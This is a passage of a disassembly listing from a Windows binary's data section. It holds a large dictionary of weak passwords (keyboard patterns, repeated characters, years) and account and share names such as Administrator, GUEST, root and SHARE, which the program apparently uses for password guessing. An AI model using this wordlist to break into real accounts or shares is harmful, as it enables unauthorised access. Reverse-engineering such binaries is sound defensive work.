		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU_0		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_1		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW_0		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset byte_43B9B8
		align 10h
dword_4276A0	dd 10h			; DATA XREF: sub_401AC7+728r
					; sub_401AC7+75Er ...
a142536		db '142536',0           ; DATA XREF: .nsp0:00427620o
		align 4
a753951		db '753951',0           ; DATA XREF: .nsp0:0042761Co
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:00427618o
		align 4
a159357		db '159357',0           ; DATA XREF: .nsp0:00427614o
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:00427610o
		align 4
a13579		db '13579',0            ; DATA XREF: .nsp0:0042760Co
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:00427608o
		align 4
a2486		db '2486',0             ; DATA XREF: .nsp0:00427604o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:00427600o
		align 4
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:004275FCo
a112233		db '112233',0           ; DATA XREF: .nsp0:004275F8o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:004275F4o
		align 10h
a3edc		db '3edc',0             ; DATA XREF: .nsp0:004275F0o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:004275ECo
		align 10h
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:004275E8o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:004275E4o
		align 10h
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:004275E0o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:004275DCo
		align 10h
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:004275D8o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:004275D4o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:004275D0o
		align 10h
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:004275CCo
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:004275C8o
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:004275C4o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:004275C0o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:004275BCo
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:004275B8o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:004275B4o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:004275B0o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:004275ACo
aZz		db 'zz',0               ; DATA XREF: .nsp0:004275A8o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:004275A0o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:0042759Co
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:00427598o
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:00427594o
aQq		db 'qq',0               ; DATA XREF: .nsp0:00427590o
		align 4
aQ:					; DATA XREF: sub_401AC7+12D7o
					; .nsp0:0042758Co ...
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:00427588o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:00427584o
		align 10h
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:00427580o
		align 4
aWww		db 'www',0              ; DATA XREF: .nsp0:0042757Co
aWw		db 'ww',0               ; DATA XREF: .nsp0:00427578o
		align 10h
aW_0:					; DATA XREF: .nsp0:00427574o
					; .nsp0:00438994o ...
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:00427570o
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:0042756Co
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:00427568o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: sub_401AC7+46C7o
					; .nsp0:00427564o
aVv		db 'vv',0               ; DATA XREF: .nsp0:00427560o
		align 4
aV:					; DATA XREF: .nsp0:0042755Co
					; .nsp0:004389E4o ...
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:00427558o
		align 10h
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:00427554o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:00427550o
		align 10h
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:0042754Co
aYy		db 'yy',0               ; DATA XREF: .nsp0:00427548o
		align 4
aY:					; DATA XREF: .nsp0:00427544o
					; .nsp0:004389A4o ...
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:00427540o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:0042753Co
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:00427538o
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:00427534o
aTt		db 'tt',0               ; DATA XREF: .nsp0:00427530o
		align 4
aT:					; DATA XREF: sub_401AC7+13A7o
					; .nsp0:0042752Co ...
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:00427528o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:00427524o
		align 10h
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:00427520o
		align 4
aSss		db 'sss',0              ; DATA XREF: .nsp0:0042751Co
aSs		db 'ss',0               ; DATA XREF: .nsp0:00427518o
		align 10h
aS_1:					; DATA XREF: sub_401AC7+1301o
					; .nsp0:00427514o ...
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:00427510o
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:0042750Co
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:00427508o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:00427504o
aUu		db 'uu',0               ; DATA XREF: .nsp0:00427500o
		align 4
aU_0:					; DATA XREF: sub_401AC7+470Co
					; .nsp0:004274FCo ...
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:004274F8o
		align 10h
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:004274F4o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:004274F0o
		align 10h
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:004274ECo
aPp		db 'pp',0               ; DATA XREF: .nsp0:004274E8o
		align 4
aP:					; DATA XREF: sub_401AC7+477Fo
					; .nsp0:004274E4o ...
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:004274E0o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:004274DCo
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:004274D8o
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:004274D4o
aOo		db 'oo',0               ; DATA XREF: .nsp0:004274D0o
		align 4
aO:					; DATA XREF: sub_401AC7+38D1o
					; .nsp0:004274CCo ...
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:004274C8o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:004274C4o
		align 10h
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:004274C0o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:004274BCo
aNn		db 'nn',0               ; DATA XREF: .nsp0:004274B8o
		align 10h
aN:					; DATA XREF: sub_401AC7+3781o
					; .nsp0:004274B4o ...
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:004274B0o
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:004274ACo
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:004274A8o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:004274A4o
aMm		db 'mm',0               ; DATA XREF: .nsp0:004274A0o
		align 4
aM:					; DATA XREF: sub_401AC7+405Co
					; .nsp0:0042749Co ...
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:00427498o
		align 10h
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:00427494o
		align 4
aLlll		db 'llll',0             ; DATA XREF: .nsp0:00427490o
		align 10h
aLll		db 'lll',0              ; DATA XREF: .nsp0:0042748Co
aLl		db 'll',0               ; DATA XREF: .nsp0:00427488o
		align 4
asc_427948:				; DATA XREF: .nsp0:00427484o
					; .nsp0:004389D4o ...
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:00427480o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:0042747Co
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:00427478o
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:00427474o
aKk		db 'kk',0               ; DATA XREF: .nsp0:00427470o
		align 4
aK_0:					; DATA XREF: sub_401AC7+3829o
					; .nsp0:0042746Co ...
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:00427468o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:00427464o
		align 10h
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:00427460o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:0042745Co
aJj		db 'jj',0               ; DATA XREF: .nsp0:00427458o
		align 10h
aJ_0:					; DATA XREF: sub_401AC7+37ABo
					; .nsp0:00427454o ...
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: .nsp0:00427450o
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: .nsp0:0042744Co
		align 4
aIiii		db 'iiii',0             ; DATA XREF: .nsp0:00427448o
		align 4
aIii		db 'iii',0              ; DATA XREF: .nsp0:00427444o
aIi		db 'ii',0               ; DATA XREF: .nsp0:00427440o
		align 4
aI_1:					; DATA XREF: sub_401AC7+132Bo
					; .nsp0:0042743Co ...
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .nsp0:00427438o
		align 10h
aHhhhh		db 'hhhhh',0            ; DATA XREF: .nsp0:00427434o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:00427430o
		align 10h
aHhh		db 'hhh',0              ; DATA XREF: .nsp0:0042742Co
aHh		db 'hh',0               ; DATA XREF: .nsp0:00427428o
		align 4
asc_4279D8:				; DATA XREF: .nsp0:00427424o
					; .nsp0:004389C8o ...
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:00427420o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: .nsp0:0042741Co
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .nsp0:00427418o
		align 4
aGgg		db 'ggg',0              ; DATA XREF: .nsp0:00427414o
aGg		db 'gg',0               ; DATA XREF: .nsp0:00427410o
		align 4
aG:					; DATA XREF: .nsp0:0042740Co
					; .nsp0:004389C4o ...
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:00427408o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: .nsp0:00427404o
		align 10h
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:00427400o
		align 4
aEee		db 'eee',0              ; DATA XREF: .nsp0:004273FCo
aEe		db 'ee',0               ; DATA XREF: .nsp0:004273F8o
		align 10h
aE:					; DATA XREF: sub_401AC7+4256o
					; .nsp0:004273F4o ...
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: .nsp0:004273F0o
		align 4
aFfff		db 'ffff',0             ; DATA XREF: .nsp0:004273ECo
		align 4
aFff		db 'fff',0              ; DATA XREF: .nsp0:004273E8o
aFf		db 'ff',0               ; DATA XREF: .nsp0:004273E4o
		align 4
aF_1:					; DATA XREF: .nsp0:004273E0o
					; .nsp0:004389C0o ...
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:004273DCo
		align 4
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:004273D8o
		align 10h
aDdd		db 'ddd',0              ; DATA XREF: .nsp0:004273D4o
aDd_0		db 'dd',0               ; DATA XREF: .nsp0:004273D0o
		align 4
aD_0:					; DATA XREF: sub_401AC7+C5Bo
					; .nsp0:004273CCo ...
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .nsp0:004273C8o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:004273C4o
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .nsp0:004273C0o
aCccccc		db 'cccccc',0           ; DATA XREF: .nsp0:004273BCo
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: .nsp0:004273B8o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: .nsp0:004273B4o
		align 4
aCcc		db 'ccc',0              ; DATA XREF: .nsp0:004273B0o
aCc		db 'cc',0               ; DATA XREF: .nsp0:004273ACo
		align 4
aC_0:					; DATA XREF: sub_401AC7+42F2o
					; .nsp0:004273A8o ...
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .nsp0:004273A4o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .nsp0:004273A0o
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .nsp0:0042739Co
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:00427398o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:00427394o
		align 10h
aBbbb		db 'bbbb',0             ; DATA XREF: .nsp0:00427390o
		align 4
aBbb		db 'bbb',0              ; DATA XREF: .nsp0:0042738Co
aBb		db 'bb',0               ; DATA XREF: .nsp0:00427388o
		align 10h
aB:					; DATA XREF: .nsp0:00427384o
					; .nsp0:004389E8o ...
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:00427380o
aEdc		db 'edc',0              ; DATA XREF: .nsp0:0042737Co
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:00427378o
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:00427374o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .nsp0:00427370o
		align 10h
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .nsp0:0042736Co
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .nsp0:00427368o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:00427364o
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:00427360o
		align 4
aAs		db 'as',0               ; DATA XREF: .nsp0:00427354o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:00427350o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:0042734Co
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:00427348o
		align 10h
aZxc		db 'zxc',0              ; DATA XREF: .nsp0:00427340o
aZx		db 'zx',0               ; DATA XREF: .nsp0:0042733Co
		align 4
aZ:					; DATA XREF: .nsp0:00427338o
					; .nsp0:004275A4o ...
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:00427334o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: .nsp0:004272FCo
		align 4
aKor		db 'KOR',0              ; DATA XREF: .nsp0:004272F8o
aKor_0		db 'kor',0              ; DATA XREF: .nsp0:004272F0o
aChi		db 'chi',0              ; DATA XREF: .nsp0:004272ECo
off_427B68	dd offset byte_494843	; DATA XREF: .nsp0:004272E8o
aSystem		db 'system',0           ; DATA XREF: .nsp0:004272E0o
					; .nsp0:00427624o
		align 4
aServices	db 'services',0         ; DATA XREF: .nsp0:004272DCo
		align 10h
aServers	db 'servers',0          ; DATA XREF: .nsp0:004272D8o
aServer		db 'server',0           ; DATA XREF: sub_401AC7+38E6o
					; .nsp0:004272D0o
		align 10h
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .nsp0:004272C8o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .nsp0:004272C4o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: .nsp0:004272C0o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .nsp0:004272BCo
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:004272ACo
aQw		db 'qw',0               ; DATA XREF: .nsp0:004272A8o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:004272A4o
		align 10h
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:004272A0o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:0042729Co
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:00427298o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:00427294o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:00427290o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:0042728Co
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:00427288o
		align 4
aAa		db 'aa',0               ; DATA XREF: sub_401AC7+3FA4o
					; .nsp0:00427280o
		align 4
aXp		db 'XP',0               ; DATA XREF: .nsp0:0040A093o
					; sub_417368+AAo ...
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:00427274o
		align 4
aSex		db 'SEX',0              ; DATA XREF: .nsp0:00427270o
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:0042726Co
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .nsp0:00427268o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:00427264o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:00427260o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:0042725Co
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:00427258o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:00427254o
aSony		db 'sony',0             ; DATA XREF: .nsp0:00427250o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: .nsp0:0042724Co
a4321		db '4321',0             ; DATA XREF: .nsp0:00427240o
		align 10h
a321		db '321',0              ; DATA XREF: .nsp0:0042723Co
a2006		db '2006',0             ; DATA XREF: .nsp0:00427234o
		align 4
a2005		db '2005',0             ; DATA XREF: .nsp0:00427230o
		align 4
a2004		db '2004',0             ; DATA XREF: .nsp0:0042722Co
		align 4
a2001		db '2001',0             ; DATA XREF: .nsp0:00427220o
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:0042721Co
		align 4
a1999		db '1999',0             ; DATA XREF: .nsp0:00427218o
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:00427214o
		align 4
a1997		db '1997',0             ; DATA XREF: .nsp0:00427210o
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:0042720Co
		align 4
a1995		db '1995',0             ; DATA XREF: .nsp0:00427208o
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:00427204o
		align 4
a1993		db '1993',0             ; DATA XREF: .nsp0:00427200o
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:004271FCo
		align 4
a1991		db '1991',0             ; DATA XREF: .nsp0:004271F8o
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:004271F4o
		align 4
a1989		db '1989',0             ; DATA XREF: .nsp0:004271F0o
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:004271ECo
		align 4
a1987		db '1987',0             ; DATA XREF: .nsp0:004271E8o
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:004271E4o
		align 4
a1985		db '1985',0             ; DATA XREF: .nsp0:004271E0o
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:004271DCo
		align 4
a1983		db '1983',0             ; DATA XREF: .nsp0:004271D8o
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:004271D4o
		align 4
a1981		db '1981',0             ; DATA XREF: .nsp0:004271D0o
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:004271CCo
		align 4
a1979		db '1979',0             ; DATA XREF: .nsp0:004271C8o
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:004271C4o
		align 4
a1977		db '1977',0             ; DATA XREF: .nsp0:004271C0o
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:004271BCo
		align 4
a1975		db '1975',0             ; DATA XREF: .nsp0:004271B8o
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:004271B4o
		align 4
a1973		db '1973',0             ; DATA XREF: .nsp0:004271B0o
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:004271ACo
		align 4
a1971		db '1971',0             ; DATA XREF: .nsp0:004271A8o
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:004271A4o
		align 4
a1969		db '1969',0             ; DATA XREF: .nsp0:004271A0o
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:0042719Co
		align 4
a1967		db '1967',0             ; DATA XREF: .nsp0:00427198o
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:00427194o
		align 4
a1965		db '1965',0             ; DATA XREF: .nsp0:00427190o
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:0042718Co
		align 4
a1963		db '1963',0             ; DATA XREF: .nsp0:00427188o
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:00427184o
		align 4
a1961		db '1961',0             ; DATA XREF: .nsp0:00427180o
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:0042717Co
		align 4
a1959		db '1959',0             ; DATA XREF: .nsp0:00427178o
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:00427174o
		align 4
a1957		db '1957',0             ; DATA XREF: .nsp0:00427170o
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:0042716Co
		align 4
a1955		db '1955',0             ; DATA XREF: .nsp0:00427168o
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:00427164o
		align 4
a1953		db '1953',0             ; DATA XREF: .nsp0:00427160o
		align 4
a1952		db '1952',0             ; DATA XREF: .nsp0:0042715Co
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:00427158o
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:00427154o
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:00427150o
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:0042713Co
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:00427138o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:00427134o
		align 4
a12abc		db '12abc',0            ; DATA XREF: .nsp0:00427130o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:0042712Co
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:00427128o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:00427124o
		align 4
a1abc		db '1abc',0             ; DATA XREF: .nsp0:00427120o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:0042711Co
		align 4
a123467890	db '123467890',0        ; DATA XREF: .nsp0:00427118o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:00427114o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:00427110o
a123467		db '123467',0           ; DATA XREF: .nsp0:0042710Co
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:00427108o
		align 4
a121		db '121',0              ; DATA XREF: .nsp0:004270E0o
a1020		db '1020',0             ; DATA XREF: .nsp0:004270D8o
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:004270D4o
		align 10h
a8520		db '8520',0             ; DATA XREF: .nsp0:004270D0o
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:004270CCo
a789		db '789',0              ; DATA XREF: .nsp0:004270C8o
a654		db '654',0              ; DATA XREF: .nsp0:004270C4o
a456		db '456',0              ; DATA XREF: .nsp0:004270C0o
a1122		db '1122',0             ; DATA XREF: .nsp0:004270BCo
		align 10h
a0147		db '0147',0             ; DATA XREF: .nsp0:004270B8o
		align 4
a7410		db '7410',0             ; DATA XREF: .nsp0:004270B4o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:004270ACo
		align 4
a999999999	db '999999999',0        ; DATA XREF: .nsp0:004270A8o
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:004270A4o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:004270A0o
a999999		db '999999',0           ; DATA XREF: .nsp0:0042709Co
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:00427098o
		align 4
a9999		db '9999',0             ; DATA XREF: .nsp0:00427094o
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:00427090o
a99		db '99',0               ; DATA XREF: .nsp0:0042708Co
		align 4
a9:					; DATA XREF: .nsp0:00427088o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:00427084o
		align 4
a888888888	db '888888888',0        ; DATA XREF: .nsp0:00427080o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:00427078o
a888888		db '888888',0           ; DATA XREF: .nsp0:00427074o
		align 4
